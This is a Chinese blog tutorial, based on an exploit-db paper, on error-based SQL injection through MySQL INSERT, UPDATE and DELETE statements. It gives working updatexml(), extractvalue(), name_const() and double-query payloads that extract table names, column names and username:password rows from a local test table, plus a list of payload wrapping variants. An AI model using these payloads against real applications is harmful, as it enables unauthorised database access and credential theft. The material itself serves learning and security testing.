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另类的SQL注入方法

 前言:相比基于查询的SQL注入,使用insert、update和delete进行SQL注入显得略显另类

    参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf

0x1 准备条件

  a. mysql数据库

  b. 创建用于实验的数据库和表

Create database newdb; 
 use newdb 
 CREATE TABLE users 
 ( 
 id int(3) NOT NULL AUTO_INCREMENT, 
 username varchar(20) NOT NULL, 
 password varchar(20) NOT NULL, 
 PRIMARY KEY (id) 
 );

  c. 添加部分数据 : INSERT INTO users (id, username, password) VALUES (1, 'r00tgrok', 'ohmygod_is_r00tgrok');

 

0x2  使用updatexml()函数  // xpath injection

  1. 注入

  a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or

  b. insert注入:INSERT INTO users (id, username, password) VALUES (2,'Pseudo_Z' or updatexml(1,concat(0x7e,(version())),0) or'', 'security-eng');

  c. update注入:UPDATE users SET password='security-eng' or updatexml(2,concat(0x7e,(version())),0) or'' WHERE id=2 and username='Pseudo_Z';

  d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or'';

  2. 提取数据

  a. 载荷格式:

  or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or

  b. insert提取表名:  

INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');

c. insert提取列名

INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');

 

  d. insert进行dump

INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '', 'ohmygod_is_r00tgrok');

e. delete进行dump

  DELETE FROM users WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '';

  f.update进行dump ? 

  同一个表不能用update进行dump,不同的表却可以

  UPDATE students SET name='Nicky' or Updatexml(1,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or''   WHERE id=1;

  3.小贴士

  a.报错,然后爆出了要提取的信息

  b. 按照作者paper上的代码,mysql5.6.19, 前面提取信息成功,后面dump报错:[Err] 1093 - You can't specify target table 'users' for update in FROM clause

  c. google之,给出找到的两个参考:

  case1:

   //报错代码  DELETE FROM table_name where coulmn_name IN (SELECT coulmn_name FROM table_name  WHERE coulmn_name > 10);

  //修正代码  DELETE FROM table_name where coulmn_name IN ( SELECT * FROM (SELECT coulmn_name FROM table_name WHERE coulmn_name >          10) AS X) ;

  //说明    不能删除子查询指向的相同数据源中的行,update同理 

  case2:

CREATE TABLE comments(id int primary key, phrase text, uid int);

INSERT INTO comments VALUES(1, 'admin user comments',1),
                           (2, 'HR User Comments',2),
                           (3, 'RH User Comments',2);
UPDATE comments
     SET phrase = (SELECT phrase FROM comments WHERE uid=2 AND id=2)
WHERE id = 3; 

  修复代码:

UPDATE comments
   SET phrase =( SELECT phrase FROM
             (
                SELECT * FROM comments
             ) 
                 AS c1 
                 WHERE c1.uid=2 AND c1.id=2
               ) WHERE id =3;

  说明:当你同时使用子查询读取相同的数据时,mysql不允许update、delete表中的数据;mysql会将from语句中的子查询作为一个临时表,将子查询封装到from语句中更深  层的子查询中会使其被执行并存储的临时表中,然后在外部子查询中隐式引用

  4. updatexml() [ 返回被替换的XML段], updatexml()是mysql中的XML函数,还有一个为extractvalue() [使用Xpath符号从xml字符串中提取值],也是下文要用到的

  eg.   SET @xml = '<a><b>X</b><b>Y</b></a>';

      SET @i =1, @j = 2;
      SELECT @i, ExtractValue(@xml, '//b[$@i]');

  //ExtractValue(xml_fragxpath_expr)   //UpdateXML(xml_target, xpath_expr, new_xml)

  Xpath有较多限制,如不支持节点集的比较,不支持string()等函数,另外Xpath注入类似于SQL注入,语法上略有不同

 

0x3 使用extractvalue()函数

  a. 载荷格式:or extractvalue(1,concat(0x7e,database())) or

  b. 注入:

   INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or extractvalue(1,concat(0x7e,database())) or'', 'Pseudo_Z');

    UPDATE users SET password='Nicky' or extractvalue(1,concat(0x7e,database())) or'' WHERE id=2 and username='Pseudo_Z';

    DELETE FROM users WHERE id=1 or extractvalue(1,concat(0x7e,database())) or''; 

 

  c.提取数据 

INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or extractvalue(1,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1))) or'', 'balabala');

  dump操作及update、delete方法同上updatexml()

 

0x4 使用name_const() //5.0.13中引入,返回任何给定的值

  a. 载荷格式: or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or

  b. 注入:  

UPDATE users SET password='Nicky' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or '' WHERE
id=2 and username='Pseudo_Z';

c. 提取数据

INSERT INTO users (id, username, password) VALUES (1,'admin' or (SELECT*FROM(SELECT name_const((SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1),name_const(( SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1),1))a) or '', 'oyyoug0d');

 

0x5 二次查询注入  //mysql没有二次查询,因此使用子查询  

1. 注入

INSERT INTO users (id, username, password) VALUES (1,'r00tgrok' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM
information_schema.columns group by x)a) or'', 'Bl4ckhat');

DELETE FROM users WHERE id=1 or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)or'' ;

 

  2. 提取数据  

INSERT INTO users (id, username, password) VALUES (1, 'Pseudo_Z' or (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT
concat(0x7e,0x27,cast(users.username as char),0x27,0x7e) FROM `newdb`.users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '', 'jesus-2014');

 

0x6 其他变种

' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

 

附:http://websec.ca/kb/sql_injection

posted on 2014-07-19 11:41  r00tgrok  阅读(3765)  评论(3编辑  收藏  举报